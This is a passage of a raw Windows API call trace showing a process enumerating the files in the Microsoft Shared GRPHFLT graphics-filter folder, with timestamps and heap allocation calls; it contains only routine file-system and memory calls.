lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0046.449] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0046.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8de90 [0046.449] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8de90, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xf8de90, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0046.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8de90) returned 1 [0046.449] NtClose (Handle=0x184) returned 0x0 [0046.450] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0046.450] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0046.450] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c6b0 [0046.450] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.450] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0046.504] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.504] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0046.505] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.505] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.505] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.505] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.505] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.505] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0046.505] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c6b0) returned 1 [0046.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8dea8 [0046.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8d240 [0046.506] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.506] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0046.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.506] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.506] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8dec8 [0046.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8d348 [0046.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x280) returned 0xf87318 [0046.506] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf870d0) returned 1 [0046.506] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.506] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0046.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.506] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.506] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8dee8 [0046.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8d450 [0046.506] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.506] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0046.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.506] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.506] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8df08 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8d558 [0046.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.507] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8df28 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8d660 [0046.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.507] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8df48 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8d768 [0046.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.507] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8df68 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c6b0 [0046.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.507] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8df88 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c7c0 [0046.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.508] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8dfa8 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c848 [0046.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.508] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8dfc8 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c8d0 [0046.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.508] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8dfe8 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c958 [0046.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.508] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0046.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.509] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e008 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c9e0 [0046.509] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.509] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.509] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.509] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e028 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8d870 [0046.509] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.509] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.509] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.509] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e048 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8d978 [0046.509] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.509] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.509] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.509] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e068 [0046.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8da80 [0046.509] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.509] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0046.509] GetLastError () returned 0x12 [0046.510] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0046.510] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, 